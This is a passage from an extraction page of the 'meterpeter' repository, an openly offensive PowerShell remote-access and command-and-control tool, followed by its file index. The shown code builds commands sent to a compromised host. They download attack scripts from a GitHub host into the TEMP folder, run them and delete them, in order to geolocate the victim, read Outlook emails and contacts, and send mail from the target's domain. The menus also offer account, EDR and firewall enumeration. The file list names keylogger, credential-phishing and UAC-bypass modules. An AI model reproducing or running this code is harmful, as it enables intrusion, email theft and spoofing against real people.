            If($PublicIpSettings -iMatch '^(y|yes)$')
            {
               #Execute command remotely
               Write-Host " * Scanning remote host geo location!" -ForegroundColor Green
               $Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/lib/Exfiltration/Get-ComputerGeoLocation.ps1`" -OutFile `"`$Env:TMP\Get-ComputerGeoLocation.ps1`";powershell -File `$Env:TMP\Get-ComputerGeoLocation.ps1 -Api 'ifconfig' -Detail $Verboseme -PublicAddr false;Remove-Item -Path `$Env:TMP\Get-ComputerGeoLocation.ps1 -Force"
            }
            Else
            {
               #Execute command remotely
               Write-Host " * Scanning remote host geo location!" -ForegroundColor Green
               $Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/lib/Exfiltration/Get-ComputerGeoLocation.ps1`" -OutFile `"`$Env:TMP\Get-ComputerGeoLocation.ps1`";powershell -File `$Env:TMP\Get-ComputerGeoLocation.ps1 -Api 'ifconfig' -Detail $Verboseme -PublicAddr true;Remove-Item -Path `$Env:TMP\Get-ComputerGeoLocation.ps1 -Force"
            }
         }
         If($Geo_choise -ieq "Return" -or $Geo_choise -ieq "cls" -or $Geo_choise -ieq "Modules")
         {
            $Geo_choise = $null
            $Command = $Null;
         }
      }
      If($choise -ieq "return" -or $choise -ieq "cls" -or $choise -ieq "modules")
      {
        $Command = $Null;
      }
 
    }

    If($Command -ieq "AdvInfo" -or $Command -ieq "adv")
    {
      write-host "`n`n   Description:" -ForegroundColor Yellow;
      write-host "   Advanced info manager";
      write-host "`n`n   Modules     Description" -ForegroundColor green;
      write-host "   -------     -----------";
      write-host "   Accounts    List remote host accounts";
      write-host "   RevS`hell    List client shell information";
      write-host "   ListAppl    List remote host installed appl";
      write-host "   Processes   List remote host processes info";
      write-host "   Tasks       List remote host schedule tasks";
      write-host "   Drives      List remote host mounted drives";
      write-host "   Browser     List remote host installed browsers";
      write-host "   Recent      List remote host recent directory";
      write-host "   ListSMB     List remote host SMB names\shares";
      write-host "   StartUp     List remote host startUp directory";
      write-host "   ListRun     List remote host startup run entrys";
      write-host "   AntiVirus   Enumerate all EDR Products installed";
      write-host "   FRManager   Manage remote 'active' firewall rules";
      write-host "   OutLook     Manage OutLook Exchange Email Objects";
      write-host "   Return      Return to Server Main Menu" -ForeGroundColor yellow;
      write-host "`n`n :meterpeter:Adv> " -NoNewline -ForeGroundColor Green;
      $choise = Read-Host;
      ## Runing sellected Module(s).
      If($choise -ieq "OutLook")
      {
         write-host "`n`n   Description:" -ForegroundColor Yellow;
         write-host "   Module to enumerate OutLook Exchange Emails, Read is contents";
         write-host "   on terminal console or dump found Email Objects to a logfile.";
         write-host "   If invoked -SemdMail then target address will be used as Sender." -ForegroundColor Yellow;
         write-host "`n`n   Modules   Description                     Privileges Required" -ForegroundColor green;
         write-host "   -------   -----------                     ------------------";
         write-host "   Folders   Display outlook folder names    UserLand";
         write-host "   Contacts  Display outlook contacts info   UserLand";
         write-host "   Emails    Display outlook email objects   UserLand";
         write-host "   SendMail  Send Email using target domain  UserLand";
         write-host "   Return    Return to Server Main Menu" -ForeGroundColor yellow;
         write-host "`n`n :meterpeter:Adv:OutLook> " -NoNewline -ForeGroundColor Green;
         $OutLook_choise = Read-Host;
         If($OutLook_choise -ieq "Folders")
         {
            #Execute command remotely
            Write-Host " * Scanning OutLook for folder names!" -ForegroundColor Green
            $Command = "If((Get-MpComputerStatus).RealTimeProtectionEnabled -ieq `"True`"){iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/ReadEmails.ps1`" -OutFile `"`$Env:TMP\ReadEmails.ps1`"|Out-Null;powershell -File `$Env:TMP\ReadEmails.ps1 -action 'folders' -Egg `"True`";Remove-Item -Path `$Env:TMP\ReadEmails.ps1 -Force}Else{echo '';echo `"   `> Error: Outlook does not let us manipulate it if 'RealTimeProtection' its disable`" `> `$Env:TMP\fsddsvd.log;Get-Content -Path `"`$Env:TMP\fsddsvd.log`";Remove-Item -Path `"`$Env:TMP\fsddsvd.log`" -Force}";
         }
         If($OutLook_choise -ieq "Contacts")
         {
            Write-Host " - Max outlook items to display: " -NoNewline;
            $MaxOfObjectsToDisplay = Read-Host;
            If(-not($MaxOfObjectsToDisplay) -or $MaxOfObjectsToDisplay -ieq $null)
            {
               $MaxOfObjectsToDisplay = "5" #Default cmdlet parameter
            }

            Write-Host " - Create report logfile? (y|n): " -NoNewline;
            $CreateLogFileSetting = Read-Host;
            If($CreateLogFileSetting -iMatch '^(y|yes)$')
            {
               $CreateLogFileSetting = "True"
            }
            Else
            {
               $CreateLogFileSetting = "False"            
            }

            #Execute command remotely
            Write-Host " * Scanning OutLook for Contact Objects" -ForegroundColor Green
            $Command = "If((Get-MpComputerStatus).RealTimeProtectionEnabled -ieq `"True`"){iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/ReadEmails.ps1`" -OutFile `"`$Env:TMP\ReadEmails.ps1`"|Out-Null;powershell -File `$Env:TMP\ReadEmails.ps1 -action 'contacts' -maxitems '$MaxOfObjectsToDisplay' -logfile `"$CreateLogFileSe
Download .txt
gitextract_79aih8sk/

├── PS2EXE/
│   ├── README.md
│   └── ps2exe.ps1
├── README.md
├── meterpeter.ps1
└── mimiRatz/
    ├── ACLMitreT1574.ps1
    ├── C2Prank.ps1
    ├── CMSTPTrigger.ps1
    ├── CScrandle_fileless.cs
    ├── CredsPhish.ps1
    ├── FWUprank.ps1
    ├── FindEop.ps1
    ├── GetBrowsers.ps1
    ├── GetKerbTix.ps1
    ├── Invoke-Winget.ps1
    ├── SendToPasteBin.ps1
    ├── SuperHidden.ps1
    ├── UACeop.ps1
    ├── Update-FileLess.bat
    ├── Update-KB5005101.bat
    ├── keymanager.ps1
    ├── mscore.ps1
    ├── shorturl.ps1
    ├── theme/
    │   ├── Update-KB5005101.html
    │   └── banner.mp
    ├── update.hta
    └── update.ps1
Download .txt
SYMBOL INDEX (2 symbols across 1 files)

FILE: mimiRatz/CScrandle_fileless.cs
  class Program (line 15) | class Program
    method Main (line 17) | static void Main(string[] args)
Condensed preview — 26 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (648K chars).
[
  {
    "path": "PS2EXE/README.md",
    "chars": 4425,
    "preview": "### ⚙️ PS2EXE BY: Ingo Karstein | MScholtes\r\n\r\n- Description: Script to convert powershell scripts to standalone executa"
  },
  {
    "path": "PS2EXE/ps2exe.ps1",
    "chars": 95697,
    "preview": "<#\r\n.SYNOPSIS\r\n   Converts powershell scripts to standalone executables.\r\n\r\n.DESCRIPTION\r\n   Converts powershell scripts"
  },
  {
    "path": "README.md",
    "chars": 7453,
    "preview": "Author: <b><i>@r00t-3xp10it</i></b><br />\r\nVersion release: <b><i>v2.10.14</i></b><br />\r\nDistros Supported: <b><i>Windo"
  },
  {
    "path": "meterpeter.ps1",
    "chars": 276937,
    "preview": "##\r\n#   Author: @r00t-3xp10it (ssa redteam)\r\n#   Tested Under: Windows 10 (19044) x64 bits\r\n#   Required Dependencies: "
  },
  {
    "path": "mimiRatz/ACLMitreT1574.ps1",
    "chars": 24788,
    "preview": "<#\r\n.SYNOPSIS\r\n   MITRE ATT&CK - T1574\r\n\r\n   Author: @r00t-3xp10it\r\n   Tested Under: Windows 10 (19043) x64 bits\r\n   Re"
  },
  {
    "path": "mimiRatz/C2Prank.ps1",
    "chars": 8231,
    "preview": "<#\r\n.SYNOPSIS\r\n   Powershell Fake [B]SO`D Prank\r\n\r\n   Author: @r00t-3xp10it (ssa redteam)\r\n   Tested Under: Windows 10 "
  },
  {
    "path": "mimiRatz/CMSTPTrigger.ps1",
    "chars": 6684,
    "preview": "<#\r\n.SYNOPSIS\r\n   CmdLet to loop UACBypassCMSTP.ps1 execution!\r\n\r\n   Author: @r00t-3xp10it\r\n   Tested Under: Windows 10"
  },
  {
    "path": "mimiRatz/CScrandle_fileless.cs",
    "chars": 1271,
    "preview": "/*\r\n   Author: @r00t-3xp10it\r\n   redpill v1.2.6 - CsOnTheFly Internal Module!\r\n\r\n   Title: StandAlone executable fileles"
  },
  {
    "path": "mimiRatz/FWUprank.ps1",
    "chars": 4380,
    "preview": "<#\r\n.SYNOPSIS\r\n   Fake Windows Update Prank\r\n\r\n   Author: @r00t-3xp10it (ssa redteam)\r\n   Tested Under: Windows 10 (190"
  },
  {
    "path": "mimiRatz/FindEop.ps1",
    "chars": 41984,
    "preview": "<#\r\n.SYNOPSIS\r\n   Search for Escalation Of privileges Entrys [local]\r\n\r\n   Author: @r00t-3xp10it\r\n   Tested Under: Wind"
  },
  {
    "path": "mimiRatz/GetBrowsers.ps1",
    "chars": 63006,
    "preview": "\r\n$Path = $null\r\n$mpset = $False\r\n$RUIUIUi0 = 'no'\r\n$cmdletver = \"1.20.7\"\r\n$IPATH = ($pwd).Path.ToString()\r\n$param1 = $"
  },
  {
    "path": "mimiRatz/GetKerbTix.ps1",
    "chars": 9113,
    "preview": "#************************************************\r\n# GetKerbTix.ps1\r\n# Version 1.0\r\n# Date: 6-11-2014\r\n# Author: Tim Sp"
  },
  {
    "path": "mimiRatz/Invoke-Winget.ps1",
    "chars": 8134,
    "preview": "<#\r\n.SYNOPSIS\r\n   [Silent] manage applications from microsoft store\r\n\r\n   Author: @r00t-3xp10it\r\n   Tested Under: Windo"
  },
  {
    "path": "mimiRatz/SendToPasteBin.ps1",
    "chars": 5724,
    "preview": "<#\r\n.SYNOPSIS\r\n   Get filepath contents and paste it to pastebin.\r\n    \r\n   Author: @r00t-3xp10it\r\n   Tested Under: Win"
  },
  {
    "path": "mimiRatz/SuperHidden.ps1",
    "chars": 16344,
    "preview": "<#\r\n.SYNOPSIS\r\n   Query\\Create\\Delete super hidden system folders\r\n\r\n   Author: @r00t-3xp10it\r\n   Tested Under: Windows"
  },
  {
    "path": "mimiRatz/UACeop.ps1",
    "chars": 6328,
    "preview": "<#\r\n.SYNOPSIS\r\n   UAC Auto-Elevate meterpeter client agent\r\n\r\n   Author: @r00t-3xp10it\r\n   Tested Under: Windows 10 (19"
  },
  {
    "path": "mimiRatz/Update-FileLess.bat",
    "chars": 555,
    "preview": "@echo off\r\n( ,;(=i%@Socket():%f ,no%n_UDP%t ^DE%DB_#1%FIN^ED ,%@k%IS_%Buffer_%MINI%#1%MI%'i'%ZE^D ;se%#0_%t ^IS_MIN^IM%#"
  },
  {
    "path": "mimiRatz/Update-KB5005101.bat",
    "chars": 809,
    "preview": "@echo off\r\n( ,;(=i%@Socket():%f ,no%n_UDP%t ^DE%DB_#1%FIN^ED ,%@k%IS_%Buffer_%MINI%#1%MI%'i'%ZE^D ;se%#0_%t ^IS_MIN^IM%#"
  },
  {
    "path": "mimiRatz/keymanager.ps1",
    "chars": 3469,
    "preview": "[CmdletBinding(PositionalBinding=$false)] param(\r\n   [string]$Action=\"start\",\r\n   [string]$UsePS2=\"false\"\r\n)\r\n\r\n\r\n#Glob"
  },
  {
    "path": "mimiRatz/mscore.ps1",
    "chars": 3710,
    "preview": "<#\r\n.SYNOPSIS\r\n   Capture keyboad keystrokes\r\n\r\n   Author: @r00t-3xp10it (ssa redteam)\r\n   Tested Under: Windows 10 (19"
  },
  {
    "path": "mimiRatz/shorturl.ps1",
    "chars": 5870,
    "preview": "<#\r\n.SYNOPSIS\r\n   TinyUrl url generator\r\n\r\n   Author: @r00t-3xp10it (ssa redteam)\r\n   Tested Under: Windows 10 (19043) "
  },
  {
    "path": "mimiRatz/theme/Update-KB5005101.html",
    "chars": 426,
    "preview": "<html>\r\n<title>Update KB5005101 21H1</title>\r\n<link rel=\"icon\" type=\"image/png\" href=\"favicon.png\"/>\r\n<meta http-equiv=\""
  },
  {
    "path": "mimiRatz/theme/banner.mp",
    "chars": 205,
    "preview": " _   _  _____  _____ _____      ____  ____ _____ __  __ ____ _____ \r\n| |_| ||_   _||_   _|| ()_)    (_ (_ | ===|| () )\\ "
  },
  {
    "path": "mimiRatz/update.hta",
    "chars": 2427,
    "preview": "<html>\r\n<title>KB5005101 21H1 - Security Update</title>\r\n<script>\r\n   path = document.URL\r\n   document.write(\r\n      '<H"
  },
  {
    "path": "mimiRatz/update.ps1",
    "chars": 2460,
    "preview": "<#\r\n.SYNOPSIS\r\n   Author: @r00t-3xp10it\r\n   Credits to: @Markus_Fleschut (rot13)\r\n   meterpeter standalone executable dr"
  }
]

// ... and 1 more files (download for full content)

About this extraction

This page contains the full source code of the r00t-3xp10it/meterpeter GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 26 files (586.4 KB), approximately 166.4k tokens, and a symbol index with 2 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!